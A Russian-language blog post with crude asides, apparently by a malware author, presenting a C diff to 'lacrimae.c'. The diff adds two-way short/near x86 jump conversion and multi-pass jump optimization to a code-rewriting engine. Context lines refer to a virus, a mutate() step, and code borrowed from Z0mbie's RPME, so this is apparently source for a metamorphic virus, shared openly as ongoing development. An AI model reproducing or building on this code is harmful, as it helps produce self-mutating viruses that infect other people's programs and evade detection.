| [ | Current Mood |
| | awake | ] |
| [ | Current Music |
| | Nick Cave - More News from Nowhere | ] | Тэк-с, а теперь еще кусочек для оптимизации переходов. В начале, как всегда - проебал добавить к адресу alignment.
--- 27/lacrimae.c 2008-04-01 13:25:05.000000000 +0300
+++ 28/lacrimae.c 2008-04-03 15:51:03.699870617 +0300
@@ -441,6 +441,7 @@
return 0;
}
+#ifndef OJMP
/* convert short sommand to its near equivalent */
/* this code has been taken from RPME (c) Z0mbie */
static int convert_rel(code_t *c)
@@ -480,6 +481,68 @@
}
return 0;
}
+#else
+/* two-way convert function */
+static int convert_rel(code_t *c, int up_down)
+{
+ uint8_t b0, b1, *buf;
+
+ if ((buf = malloc(8)) == NULL)
+ return 1;
+ bzero(buf, 8);
+ b0 = c->src[0];
+ b1 = c->src[1];
+
+ /* DOWN */
+ if (up_down) {
+ if (b0 == 0x0f && (b1 & 0xf0) == 0x80)
+ buf[0] = 0xf0 ^ b1;
+ else if (b0 == 0xe9)
+ buf[0] = 0xeb;
+ else if (b0 == 0x49 && b1 == 0x0f)
+ buf[0] = 0xe2;
+ else if (b0 == 0x09 && b1 == 0xc9)
+ buf[0] = 0xe3;
+ else /* FIXME: loope / loopne */
+ return 1;
+ c->diza.len = 2;
+ c->diza.datasize = 1;
+ } else {
+ /* UP */
+ /* short jcc? */
+ if ((b0 & 0xf0) == 0x70) {
+ buf[0] = 0x0f;
+ buf[1] = 0xf0 ^ b0;
+ c->diza.len = 6;
+ } else /* short jmp? */
+ if (b0 == 0xeb) {
+ buf[0] = 0xe9;
+ c->diza.len = 5;
+ } else /* loop/z/nz,jcxz? */
+ /* gcc does not use them, but... */
+ if ((b0 & 0xfc) == 0xe0) {
+ /* loop */
+ if (b0 == 0xe2) {
+ buf[0] = 0x49; /* dec ecx */
+ *(uint16_t*)(buf + 1) = 0x850f; /* jnz near */
+ c->diza.len = 7;
+ } else /* jczx */
+ if (b0 == 0xe3) {
+ *(uint16_t*)(buf + 0) = 0xC909; /* or ecx, ecx */
+ *(uint16_t*)(buf + 2) = 0x840F; /* jz near */
+ c->diza.len = 8;
+ } else
+ return 1;
+ }
+ c->diza.datasize = 4;
+ }
+ if (c->flags & FL_FREESRC)
+ free(c->src);
+ c->src = buf;
+ c->flags |= FL_FREESRC;
+ return 0;
+}
+#endif /* OJMP */
typedef struct t_markinfo markinfo;
struct t_markinfo {
@@ -643,10 +706,12 @@
jmp = (c->src - info->base) + c->diza.len + c->diza.data_l[0];
else
jmp = (c->src - info->base) + c->diza.len + c->diza.data_c[0];
+#ifndef OJMP
/* we won't jumps that might go out of range */
if (c->diza.datasize != 4)
if (convert_rel(c))
goto finish_err;
+#endif
if (info->is_virus) {
off = jmp - stext;
fast = fastvirus;
@@ -1644,10 +1709,18 @@
FOR_EACH(sections[i].code, c)
if (c->flags & FL_EXTERN) {
*((uint32_t*)(file + c->dsta + 1)) = (sec[SI_PLT]->addr + symbol_to_plt(c->symbol) - prelink) - c->dsta - 5;
- } else if (c->link != NULL && (c->flags & FL_GOTOFF) == 0)
+ } else if (c->link != NULL && (c->flags & FL_GOTOFF) == 0) {
+#ifdef OJMP
+ uint32_t r = c->link->dsta - c->dsta - c->diza.len;
+ if (c->diza.len > 2)
+ *((uint32_t*)(file + c->dsta + c->diza.len - 4)) = r;
+ else
+ *((uint8_t*)(file + c->dsta + 1)) = r;
+#else
/* there is no short jumps anymore */
*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = c->link->dsta - c->dsta - c->diza.len;
- else if (c->flags & FL_GOTPTR1)
+#endif
+ } else if (c->flags & FL_GOTPTR1)
*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = new_gotoff - c->dsta + 1;
else if (c->flags & FL_GOTPTR2)
*((uint32_t*)(file + c->dsta + c->diza.len - 4)) = new_gotoff - c->dsta;
@@ -1994,6 +2067,61 @@
#ifdef MUTATE
mutate();
#endif
+#ifdef OJMP
+ /* optimize jumps */
+ /* pass 0: set initial size of jumps, relative addresses and fill the skip-list */
+ int addr = 0;
+ code_t *jmps = NULL;
+ prev = NULL;
+ FOR_EACH(sec[SI_TEXT]->code, c) {
+ addr += c->al;
+ if ((c->diza.flag & C_REL) && (*c->src != 0xe8)) {
+ if (jmps == NULL) {
+ jmps = c;
+ prev = c;
+ } else {
+ prev->list = c;
+ prev = c;
+ }
+ /* "down" conversion (near -> short) */
+ if (c->diza.len != 2)
+ if (convert_rel(c, 1))
+ exit(12); /* FIXME */
+ }
+ /* unused field as temp address */
+ c->diza.dst_set = addr;
+ addr += c->diza.len;
+ }
+ prev->list = NULL;
+ /* pass1: iterate through jmps list, expand jumps if neccessary and adjust addresses */
+ int fixes;
+ if (jmps) do {
+ fixes = 0;
+ for (prev = NULL, c = jmps; c != NULL; c = c->list) {
+ int dst = c->link->diza.dst_set - c->diza.dst_set - c->diza.len;
+ if (c->diza.len == 2) {
+ if (dst < -128 || dst > 127) {
+ /* "up" conversion (short -> near) */
+ if (convert_rel(c, 0))
+ exit(12); /* FIXME */
+ /* remove this jump from the list */
+ if (prev == NULL)
+ jmps = c->list;
+ else
+ prev->list = c->list;
+ /* adjust addresses of all commands ahead */
+ code_t *d;
+ for (d = c->next; d != NULL; d = d->next)
+ d->diza.dst_set += c->diza.len - 2;
+ /* more jumps may go out of range */
+ fixes++;
+ break;
+ } else
+ prev = c;
+ }
+ }
+ } while (fixes != 0);
+#endif
upd. блядь, список нормально покоцать не смог. позорище Ж-))) |